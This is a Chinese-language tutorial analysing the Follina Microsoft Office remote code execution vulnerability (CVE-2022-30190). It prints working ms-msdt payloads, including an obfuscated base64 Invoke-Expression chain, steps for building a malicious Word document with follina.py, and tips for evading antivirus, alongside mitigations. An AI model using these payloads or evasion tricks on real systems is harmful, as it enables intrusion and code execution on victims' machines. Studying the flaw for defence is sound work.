Follina Microsoft Office RCE with MS-MSDT Protocol
字数 1952 2025-08-27 12:33:37
Follina Microsoft Office RCE漏洞分析与利用教程
漏洞概述
Follina是一个存在于Microsoft Office中的远程代码执行漏洞(CVE-2022-30190),攻击者可以通过精心构造的Office文档利用MS-MSDT协议执行任意代码。该漏洞绕过了"启用编辑"的安全限制,具有较高的危害性。
漏洞背景
该漏洞最早由nao_sec在推特上披露,随后安全研究人员进行了详细分析。漏洞利用Microsoft Support Diagnostic Tool (MSDT)通过Office文档执行任意PowerShell命令。
技术原理
漏洞利用流程
- 攻击者创建包含恶意远程模板的Office文档
- 文档加载时从远程服务器获取恶意HTML文件
- HTML文件通过
location.href跳转到ms-msdt:伪协议 - MSDT.exe处理恶意参数执行PowerShell命令
关键组件分析
MS-MSDT协议
- 注册表位置:
HKEY_CLASSES_ROOT\ms-msdt - 关联程序:
%SystemRoot%\system32\msdt.exe - 功能:微软支持诊断工具,用于运行各种诊断包
PCWDiagnostic诊断包
- 位置:
C:\Windows\diagnostics\system\PCW - 主要文件:
DiagPackage.diagpkg:清单文件TS_ProgramCompatibilityWizard.ps1:实际执行的PowerShell脚本
漏洞利用代码分析
原始PoC中的关键Payload:
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+')))'))))i/Windows/System32/mpsigstub.exe\"";
精简后的有效Payload:
ms-msdt:/id PCWDiagnostic /param "IT_BrowseForFile=$(Invoke-Expression('calc'))i/Windows/System32/mpsigstub.exe"
其中:
YwBhAGwAYwA=是"calc"的Base64编码Unicode字符串- 通过嵌套的
Invoke-Expression执行任意PowerShell代码
漏洞复现步骤
准备工作
- 安装Python环境
- 下载PoC工具:
https://github.com/chvancooten/follina.py
生成恶意文档
使用follina.py生成包含恶意代码的Word文档:
python follina.py -m command -c "calc"
参数说明:
-m:指定模式(command/script/binary)-c:指定要执行的命令
文档结构分析
生成的恶意文档包含以下关键部分:
word/_rels/document.xml.rels:包含远程模板引用www/exploit.html:包含跳转到ms-msdt协议的JavaScript代码
执行流程
- 用户打开恶意文档
- Office加载远程模板
- 模板中的HTML文件被加载
- JavaScript代码触发ms-msdt协议
- MSDT.exe执行嵌入的PowerShell命令
技术深入分析
诊断包参数利用
PCWDiagnostic诊断包接受三个关键参数:
IT_RebrowseForFile:文件重新浏览标志IT_LaunchMethod:启动方法(ContextMenu表示通过上下文菜单启动)IT_BrowseForFile:要浏览的文件路径(实际被注入代码)
PowerShell代码注入
漏洞利用PowerShell的Invoke-Expression命令执行任意代码:
$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+')))'))))
这段代码:
- 构建
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('YwBhAGwAYwA='))字符串 - 解码Base64字符串"YwBhAGwAYwA="得到"calc"
- 执行结果字符串作为命令
免杀技术
由于参数组合多样,可以通过以下方式实现免杀:
- 使用不同的编码方式(如Hex、ASCII编码)
- 拆分恶意代码为多个部分
- 使用不同的诊断包和参数组合
防御措施
- 禁用MSDT协议:
reg delete HKEY_CLASSES_ROOT\ms-msdt /f - 应用微软官方补丁
- 禁用Office中的宏和远程模板加载
- 使用应用程序控制策略限制msdt.exe的执行
扩展研究
其他Office相关协议
ms-officecmd:可用于启动验证过的Office应用程序msoffice:与Teams、Skype等应用的交互协议
相关研究资源
总结
Follina漏洞通过Office文档、远程模板加载和MS-MSDT协议的组合实现了无需用户交互的RCE。该漏洞展示了协议处理程序在安全链中的重要性,以及参数注入技术的强大威力。防御此类漏洞需要多层次的防护策略,包括协议禁用、补丁管理和应用程序控制等。